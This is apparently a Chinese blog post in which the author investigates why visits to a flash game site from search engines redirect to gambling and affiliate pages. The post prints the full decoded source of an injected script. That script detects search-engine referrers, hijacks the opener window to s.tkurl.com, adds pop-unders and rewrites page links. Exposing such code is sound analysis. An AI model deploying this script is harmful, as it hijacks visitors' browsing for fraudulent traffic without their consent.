昨天晚上打开flash.07073.com的时候会跳到一个博彩的网站。开始的时候并没在意,小游戏网广告多也算正常吧。后来发现只要是从Google搜索结果点过来链接全部都会跳到这个博彩网站,偶尔还会跳到天猫、paipai、一号店,都是推广链接。
我开始还以为是Chrome又安装了恶意插件,检查一番确定不是浏览器问题,也不会是木马。难道是搜索页面劫持?
查看网站源码,在 /images/images.js 发现了referrer代码。

这段代码很快就被删除了。但是我的浏览器从搜索引擎过去还会跳转到其他网站。继续找:

这里调用s.tkurl.com上的js:

s.tkurl.com/navigatoral.js 使用eval的方式加密了javascript代码:

解密后:
if ("undefined" == typeof(_5had0w)) {
_5had0w = [];
_5had0w.ssite = new RegExp("(www.baidu.com)|(www.google.c)|(www.youdao.com)|(search.cn.yahoo.com)|(search.yahoo.com)|(114search.118114.cn)|(bing.118114.cn)|(search.114.vnet.cn)|(bing.com)|(soso.com)|(sososnap.com)|(sogou.com)|(so.360.cn)|(hao.360.cn)|(www.so.com)|(360webcache.com)|(gougou.com)|(www.gouwo.com)|(cache.baidu.com)|(m.baidu.com)|(baike.baidu.com)|(tieba.baidu.com)|(qzone.qq.com)|(t.qq.com)|(baidu.asp)|(hao123.com)|(265.com)|(114la.com)|(115.com)|(etao.com)", "i");
_5had0w.win = window;
try {
if (parent && parent.f && parent.document.getElementById("fulliframe")) {
_5had0w.win = parent
}
} catch(e) {}
_5had0w.host = _5had0w.win.location.host;
if (!_5had0w.host) _5had0w.host = "";
_5had0w.getcookie = function(sName) {
var aCookie = document.cookie.split("; ");
for (var i = 0; i < aCookie.length; i++) {
var aCrumb = aCookie[i].split("=");
if (sName == aCrumb[0]) return unescape(aCrumb[1])
}
return ""
};
_5had0w.setcookie = function(sValue) {
date = new Date();
date.setMinutes(date.getMinutes() + 6);
document.cookie = "oc_busy=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/"
};
_5had0w.hcode = _5had0w.host.replace(/(www|blog|bbs)\./ig, "").charCodeAt(0);
if (isNaN(_5had0w.hcode)) _5had0w.hcode = 0;
_5had0w.mall = "htt" + "p://s.t" + "kur" + "l.c" + "om/gom" + "alls.ht" + "ml?";
_5had0w.dd = new Date();
_5had0w.powerboom = function() {
try {
var urlp = _5had0w.mall + "p0" + (_5had0w.dd.getMonth() + 1) + "" + _5had0w.dd.getDate() + ".html";
if (document.attachEvent) {
_5had0w.pnode.launchURL(urlp);
_5had0w.pnode = null;
self.focus()
}
} catch(e) {}
};
_5had0w.nvPower = function() {
try {
if (document.attachEvent) {
_5had0w.pnode = document.createElement("");
window.attachEvent("onunload", _5had0w.powerboom)
}
} catch(e) {}
};
_5had0w.detachPower = function() {
try {
if (window.detachEvent) {
_5had0w.pnode = null;
window.detachEvent("onunload", _5had0w.powerboom)
}
} catch(e) {}
};
_5had0w.nvEnter = function() {
_5had0w.detachPower();
_5had0w.setcookie("_mall");
_5had0w.win.location = _5had0w.mall + "e0" + (_5had0w.dd.getMonth() + 1) + "" + _5had0w.dd.getDate() + ".html"
};
_5had0w.shadowClick = function() {
setTimeout(_5had0w.nvEnter, 1500);
return true
};
_5had0w.np = false;
_5had0w.nvIt = function(lochref) {
try {
_5had0w.win.opener.location = lochref
} catch(e) {
try {
_5had0w.win.opener.navigate(lochref)
} catch(e2) {
try {
_5had0w.win.opener.opener.navigate(lochref)
} catch(e3) {
_5had0w.nvPower();
_5had0w.np = true
}
}
}
};
_5had0w.nvUrl = function() {
var _co = _5had0w.getcookie("oc_busy");
if (_co == "" || _co.indexOf("mall") < 0) {
_5had0w.nvIt(_5had0w.mall + "n0" + (_5had0w.dd.getMonth() + 1) + "" + _5had0w.dd.getDate() + ".html");
if (!_5had0w.np) {
_5had0w.setcookie(_co + "_mall")
}
}
};
if (_5had0w.win.opener) {
if (_5had0w.ssite.test(_5had0w.win.document.referrer)) {
_5had0w.nvUrl()
}
}
_5had0w.appendChild = function(html) {
var node = document.createElement("DIV");
node.style.width = "0";
node.style.height = "0";
node.style.position = "absolute";
node.style.left = "-100px";
node.innerHTML = html;
document.body.appendChild(node)
};
_5had0w.appendScript = function() {
if (1 > arguments.length) return;
var node = document.createElement("DIV");
node.style.width = "0";
node.style.height = "0";
node.style.position = "absolute";
node.style.left = "-100px";
for (var i = 0; i < arguments.length; i++) node.appendChild(document.createElement('script')).src = arguments[i];
document.body.appendChild(node)
};
_5had0w.oload = function() {
if (document.body == null) {
setTimeout(_5had0w.oload, 200)
} else {
var fp = "htt" + "p://s.t" + "kur" + "l.c" + "om/bro" + "adp.s" + "wf";
var pm = "d=" + _5had0w.host.replace(/(www|blog|bbs)\./ig, "").charAt(0);
try {
if ((!document.attachEvent) || navigator.userAgent.indexOf("Opera") > -1) {
pm += "&b=ff"
}
} catch(e) {}
var str = '';
_5had0w.appendChild(str);
if (_5had0w.np) {
var ls = document.links;
if (ls.length && ls.length > 0) {
for (var i = 0; i < ls.length; i++) {
if (ls[i].href.indexOf("javascript") < 0) {
ls[i].target = "_blank";
ls[i].onclick = _5had0w.shadowClick
}
}
}
}
}
};
try {
if (document.attachEvent) {
window.attachEvent("onload", _5had0w.oload)
} else {
window.addEventListener("load", _5had0w.oload, false)
}
} catch(e) {}
}
没必要故意这么做吧?
本文结束。




Leave a comment